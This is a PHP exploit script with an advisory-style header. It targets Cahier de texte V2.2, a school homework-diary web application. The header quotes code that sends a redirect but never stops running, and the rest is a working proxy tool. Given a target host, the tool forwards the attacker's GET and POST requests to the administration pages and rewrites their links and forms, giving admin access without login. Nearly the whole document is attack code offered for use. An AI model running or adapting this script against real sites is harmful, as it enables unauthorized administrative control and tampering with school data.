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Cahier de texte V2.2 Bypass general access protection exploit

<?
/*

  Informations
  ============
  Affected.scr..: Cahier de texte V2.2 (last version)
  Poc.ID........: 17061224
  Type..........: Bypass general access restriction
  Risk.level....: High
  Conditions....: None
  Src.download..: www.etab.ac-caen.fr/bsauveur/cahier_de_texte/
  Poc.link......: acid-root.new.fr/poc/17061224.txt
  Credits.......: DarkFig

  Vulnerable code
  ===============
  <?php session_start();
  if (isset($_SESSION['nom_prof'])) { 
  if ($_SESSION['nom_prof']<>'Administrateur') { header("Location: 
../index.php");}
  ;} else { header("Location: ../index.php");}?>
  ...

*/

if(!isset($_GET['host']) || empty($_GET['host'])) headers();
if(!isset($_GET['wanted'])) $wanted = 'index.php';

$host = $_GET['host'];
$prox = $_GET['prox'];
$path = $_GET['path'];
echo sockxp($host,$path,$prox,"administration/".$wanted);
exit(0);

function headers()
{
        print("<html>
<head>
 <title>Cahier de texte V2.2 Exploit</title>
</head>
<body>
 <form method='get' action='".$_SERVER['PHP_SELF']."'>
  <input type='text' name='host' value='host'>
  <input type='text' name='path' value='path'>
  <input type='text' name='prox' value='proxyhost:proxyport'>
  <input type='submit' value='Exploit'>
 </form>
</body>
</html>");
        exit(0);
}

function sockxp($host,$path,$prox,$wanted)
{
        $hope = !empty($prox) ? $prox : $host.':80';
        preg_match("/^(\S*):([0-9]+){1,5}/",$hope,$hosta);
        $hosh = $hosta[1];
        $hosp = $hosta[2];
        
        $recv = '';
        $meth = $_SERVER['REQUEST_METHOD'];
        if(empty($hosh) || empty($hosp)) exit(1);

        if(!$sock = fsockopen($hosh,$hosp)) exit(1);
        $dat  = $meth." http://".$host;
        
        if($meth === "POST") $dat .= 
"/".str_replace("administration//","",$wanted);
        else $dat .= $path.$wanted;
        
        $dat .= " HTTP/1.1\r\n";
        $dat .= "Host: $host\r\n";
        $dat .= "Connection: Close\r\n";
        
        if($meth === "POST") {
                $postdata = get_postdata();
                $dat .= "Content-Type: application/x-www-form-urlencoded\r\n";
                $dat .= "Content-Length: ".strlen($postdata)."\r\n\r\n";
                $dat .= $postdata."\r\n\r\n";
        } else {
                $dat .= "\r\n";
        }

        fputs($sock,$dat);
        while(!feof($sock)) $recv .= fgets($sock);
        fclose($sock);

        return html_replace($recv);
}

function html_replace($htmlc)
{
        global $host,$path,$prox;
        $iniv = 
$_SERVER['PHP_SELF']."?host=$host&path=$path&prox=$prox&wanted=";
        $newc = str_replace("action=\"","action=\"$iniv",$htmlc);
        $newc = 
str_replace("=\"..","=\"http://${host}${path}administration/..",$newc);
        $newc = str_replace("a href=\"","a href=\"$iniv",$newc);
        $newc = 
str_replace("MM_goToURL('parent','","MM_goToURL('parent','$iniv",$newc);
        $newc = explode("\n",$newc);
        for($i=0;$i<count($newc);$i++) {
                if(preg_match("/DOCTYPE/",$newc[$i])) $v=1;
                if($v) $nnewc .= $newc[$i];
        }
        return $nnewc;
}

function get_postdata()
{
        $postdata = '';
        foreach($_POST as $key => $value) {
                $postdata .= $key."=".$value."&";
        }
        return $postdata;
}
?>